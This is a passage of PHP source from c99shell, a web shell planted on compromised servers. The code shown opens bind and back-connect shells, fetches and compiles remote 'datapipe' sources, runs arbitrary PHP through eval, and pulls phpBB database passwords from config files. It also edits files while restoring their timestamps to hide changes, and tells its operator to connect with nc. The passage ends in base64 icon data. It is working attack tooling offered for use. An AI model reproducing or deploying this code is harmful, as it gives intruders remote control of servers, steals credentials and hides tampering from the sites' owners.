    $v[1] = str_replace("//","/",$v[1]); 
    $retbind = myshellexec($v[1]." > /dev/null &"); 
    echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; 
   } 
  } 
} 
if (!empty($dpsubmit)) 
{ 
  echo "<b>Result of datapipe-running:</b><br>"; 
  $v = $dpsrcs[$datapipe["src"]]; 
  if (empty($v)) {echo "Unknown file!<br>";} 
  elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} 
  else 
  { 
   $srcpath = $tmpdir.$datapipe["src"]; 
   $w = explode(".",$datapipe["src"]); 
   $ext = $w[count($w)-1]; 
   unset($w[count($w)-1]); 
   $srcpath = join(".",$w).".".rand(0,999).".".$ext; 
   $binpath = $tmpdir.join(".",$w).rand(0,999); 
   if ($ext == "pl") {$binpath = $srcpath;} 
   @unlink($srcpath); 
   $fp = fopen($srcpath,"ab+"); 
   if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} 
   elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} 
   else 
   { 
    fwrite($fp,$data,strlen($data)); 
    fclose($fp); 
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} 
    list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); 
    $v[1] = str_replace("%path",$binpath,$v[1]); 
    $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); 
    $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); 
    $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); 
    $v[1] = str_replace("//","/",$v[1]); 
    $retbind = myshellexec($v[1]." > /dev/null &"); 
    sleep(5); 
    $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); 
    if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} 
    else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} 
   } 
   echo "<br>"; 
  } 
} 
?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php 
foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} 
?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> 
<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php 
foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} 
?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> 
Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> 
<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php 
foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} 
?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php 
} 
if ($act == "processes") 
{ 
echo "<b>Processes:</b><br>"; 
if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} 
else {$handler = "tasklist";} 
$ret = myshellexec($handler); 
if (!$ret) {echo "Can't execute \"".$handler."\"!";} 
else 
{ 
  if (empty($processes_sort)) {$processes_sort = $sort_default;} 
  $parsesort = parsesort($processes_sort); 
  if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} 
  $k = $parsesort[0]; 
  if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
  else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
  $ret = htmlspecialchars($ret); 
  if (!$win) 
  { 
   if ($pid) 
   { 
    if (is_null($sig)) {$sig = 9;} 
    echo "Sending signal ".$sig." to #".$pid."... "; 
    if (posix_kill($pid,$sig)) {echo "OK.";} 
    else {echo "ERROR.";} 
   } 
   while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);} 
   $stack = explode("
",$ret); 
   $head = explode(" ",$stack[0]); 
   unset($stack[0]); 
   for($i=0;$i<count($head);$i++) 
   { 
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} 
   } 
   $prcs = array(); 
   foreach ($stack as $line) 
   { 
    if (!empty($line)) 
{ 
echo "<tr>"; 
     $line = explode(" ",$line); 
     $line[10] = join(" ",array_slice($line,10)); 
     $line = array_slice($line,0,11); 
     if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} 
     $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; 
     $prcs[] = $line; 
     echo "</tr>"; 
    } 
   } 
  } 
  else 
  { 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
   while (ereg("",$ret)) {$ret = str_replace("","",$ret);} 
   while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} 
   $ret = convert_cyr_string($ret,"d","w"); 
   $stack = explode("
",$ret); 
   unset($stack[0],$stack[2]); 
   $stack = array_values($stack); 
   $head = explode("",$stack[0]); 
   $head[1] = explode(" ",$head[1]); 
   $head[1] = $head[1][0]; 
   $stack = array_slice($stack,1); 
   unset($head[2]); 
   $head = array_values($head); 
   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
   if ($k > count($head)) {$k = count($head)-1;} 
   for($i=0;$i<count($head);$i++) 
   { 
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} 
   } 
   $prcs = array(); 
   foreach ($stack as $line) 
   { 
    if (!empty($line)) 
    { 
     echo "<tr>"; 
     $line = explode("",$line); 
     $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); 
     $line[2] = intval(str_replace(" ","",$line[2]))*1024; 
     $prcs[] = $line; 
     echo "</tr>"; 
    } 
   } 
  } 
  $head[$k] = "<b>".$head[$k]."</b>".$y; 
  $v = $processes_sort[0]; 
  usort($prcs,"tabsort"); 
  if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} 
  $tab = array(); 
  $tab[] = $head; 
  $tab = array_merge($tab,$prcs); 
  echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; 
  foreach($tab as $i=>$k) 
  { 
   echo "<tr>"; 
   foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} 
   echo "</tr>"; 
  } 
  echo "</table>"; 
} 
} 
if ($act == "eval") 
{ 
if (!empty($eval)) 
{ 
  echo "<b>Result of execution this PHP-code</b>:<br>"; 
  $tmp = ob_get_contents(); 
  $olddir = realpath("."); 
  @chdir($d); 
  if ($tmp) 
  { 
   ob_clean(); 
   eval($eval); 
   $ret = ob_get_contents(); 
   $ret = convert_cyr_string($ret,"d","w"); 
   ob_clean(); 
   echo $tmp; 
   if ($eval_txt) 
   { 
    $rows = count(explode("
",$ret))+1; 
    if ($rows < 10) {$rows = 10;} 
    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; 
   } 
   else {echo $ret."<br>";} 
  } 
  else 
  { 
   if ($eval_txt) 
   { 
    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; 
    eval($eval); 
    echo "</textarea>"; 
   } 
   else {echo $ret;} 
  } 
  @chdir($olddir); 
} 
else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} 
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; 
} 
if ($act == "f") 
{ 
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") 
{ 
  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} 
  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} 
} 
else 
{ 
  $r = @file_get_contents($d.$f); 
  $ext = explode(".",$f); 
  $c = count($ext)-1; 
  $ext = $ext[$c]; 
  $ext = strtolower($ext); 
  $rft = ""; 
  foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} 
  if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} 
  if (empty($ft)) {$ft = $rft;} 
  $arr = array( 
   array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), 
   array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), 
   array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), 
   array("Code","code"), 
   array("Session","phpsess"), 
   array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), 
   array("SDB","sdb"), 
   array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), 
   array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), 
   array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), 
   array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), 
   array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") 
  ); 
  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; 
  foreach($arr as $t) 
  { 
   if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} 
   elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} 
   else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} 
   echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; 
  } 
  echo "<hr size=\"1\" noshade>"; 
  if ($ft == "info") 
  { 
   echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; 
   if (!$win) 
   { 
    echo "<tr><td><b>Owner/Group</b></td><td> ";     
    $ow = posix_getpwuid(fileowner($d.$f)); 
    $gr = posix_getgrgid(filegroup($d.$f)); 
    echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); 
   } 
   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; 
   $fi = fopen($d.$f,"rb"); 
   if ($fi) 
   { 
    if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} 
    else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} 
    $n = 0; 
    $a0 = "00000000<br>"; 
    $a1 = ""; 
    $a2 = ""; 
    for ($i=0; $i<strlen($str); $i++) 
    { 
     $a1 .= sprintf("%02X",ord($str[$i]))." "; 
     switch (ord($str[$i])) 
     { 
      case 0:  $a2 .= "<font>0</font>"; break; 
      case 32: 
      case 10: 
      case 13: $a2 .= "&nbsp;"; break; 
      default: $a2 .= htmlspecialchars($str[$i]); 
     } 
     $n++; 
     if ($n == $hexdump_rows) 
     { 
      $n = 0; 
      if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} 
      $a1 .= "<br>"; 
      $a2 .= "<br>"; 
     } 
    } 
    //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} 
    echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; 
   } 
   $encoded = ""; 
   if ($base64 == 1) 
   { 
    echo "<b>Base64 Encode</b><br>"; 
    $encoded = base64_encode(file_get_contents($d.$f)); 
   } 
   elseif($base64 == 2) 
   { 
    echo "<b>Base64 Encode + Chunk</b><br>"; 
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); 
   } 
   elseif($base64 == 3) 
   { 
    echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; 
    $encoded = base64_encode(file_get_contents($d.$f)); 
    $encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2); 
   } 
   elseif($base64 == 4) 
   { 
    $text = file_get_contents($d.$f); 
    $encoded = base64_decode($text); 
    echo "<b>Base64 Decode"; 
    if (base64_encode($encoded) != $text) {echo " (failed)";} 
    echo "</b><br>"; 
   } 
   if (!empty($encoded)) 
   { 
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; 
   } 
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> 
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> 
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> 
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> 
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> 
<P>"; 
  } 
  elseif ($ft == "html") 
  { 
   if ($white) {@ob_clean();} 
   echo $r; 
   if ($white) {c99shexit();} 
  } 
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} 
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} 
  elseif ($ft == "phpsess") 
  { 
   echo "<pre>"; 
   $v = explode("|",$r); 
   echo $v[0]."<br>"; 
   var_dump(unserialize($v[1])); 
   echo "</pre>"; 
  } 
  elseif ($ft == "exe") 
  { 
   $ext = explode(".",$f); 
   $c = count($ext)-1; 
   $ext = $ext[$c]; 
   $ext = strtolower($ext); 
   $rft = ""; 
   foreach($exeftypes as $k=>$v) 
   { 
    if (in_array($ext,$v)) {$rft = $k; break;} 
   } 
   $cmd = str_replace("%f%",$f,$rft); 
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; 
  } 
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} 
  elseif ($ft == "code") 
  { 
   if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) 
   { 
    $arr = explode("
",$r); 
    if (count($arr == 18)) 
    { 
     include($d.$f); 
     echo "<b>phpBB configuration is detected in this file!<br>"; 
     if ($dbms == "mysql4") {$dbms = "mysql";} 
     if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} 
     else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} 
     echo "Parameters for manual connect:<br>"; 
     $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); 
     foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} 
     echo "</b><hr size=\"1\" noshade>"; 
    } 
   } 
   echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; 
   if (!empty($white)) {@ob_clean();} 
   highlight_file($d.$f); 
   if (!empty($white)) {c99shexit();} 
   echo "</div>"; 
  } 
  elseif ($ft == "download") 
  { 
   @ob_clean(); 
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".filesize($d.$f)); 
   header("Content-disposition: attachment; filename=\"".$f."\";"); 
   echo $r; 
   exit; 
  } 
  elseif ($ft == "notepad") 
  { 
   @ob_clean(); 
   header("Content-type: text/plain"); 
   header("Content-disposition: attachment; filename=\"".$f.".txt\";"); 
   echo($r); 
   exit; 
  } 
  elseif ($ft == "img") 
  { 
   $inf = getimagesize($d.$f); 
   if (!$white) 
   { 
    if (empty($imgsize)) {$imgsize = 20;} 
    $width = $inf[0]/100*$imgsize; 
    $height = $inf[1]/100*$imgsize; 
    echo "<center><b>Size:</b>&nbsp;"; 
    $sizes = array("100","50","20"); 
    foreach ($sizes as $v) 
    { 
     echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; 
     if ($imgsize != $v ) {echo $v;} 
     else {echo "<u>".$v."</u>";} 
     echo "</a>&nbsp;&nbsp;&nbsp;"; 
    } 
    echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; 
   } 
   else 
   { 
    @ob_clean(); 
    $ext = explode($f,"."); 
    $ext = $ext[count($ext)-1]; 
    header("Content-type: ".$inf["mime"]); 
    readfile($d.$f); 
    exit; 
   } 
  } 
  elseif ($ft == "edit") 
  { 
   if (!empty($submit)) 
   { 
    if ($filestealth) {$stat = stat($d.$f);} 
    $fp = fopen($d.$f,"w"); 
    if (!$fp) {echo "<b>Can't write to file!</b>";} 
    else 
    { 
     echo "<b>Saved!</b>"; 
     fwrite($fp,$edit_text); 
     fclose($fp); 
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} 
     $r = $edit_text; 
    } 
   } 
   $rows = count(explode("
",$r)); 
   if ($rows < 10) {$rows = 10;} 
   if ($rows > 30) {$rows = 30;} 
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; 
  } 
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} 
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} 
} 
} 
} 
else 
{ 
@ob_clean(); 
$images = array( 
"arrow_ltr"=> 
"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". 
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", 
"back"=> 
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". 
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". 
"Wg0JADs=", 
"buffer"=> 
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". 
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". 
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", 
"change"=> 
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". 
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". 
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". 
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". 
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". 
"zMshADs=", 
"delete"=> 
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". 
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". 
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". 
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". 
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". 
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". 
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". 
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". 
"jwVFHBgiEGQFIgQasYkcSbJQIAA7", 
"download"=> 
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". 
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", 
"forward"=> 
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". 
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". 
"WqsJADs=", 
"home"=> 
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". 
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". 
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". 
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", 
"mode"=> 
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". 
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". 
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", 
"refresh"=> 
"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". 
"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". 
"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". 
"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", 
"search"=> 
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". 
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". 
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". 
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". 
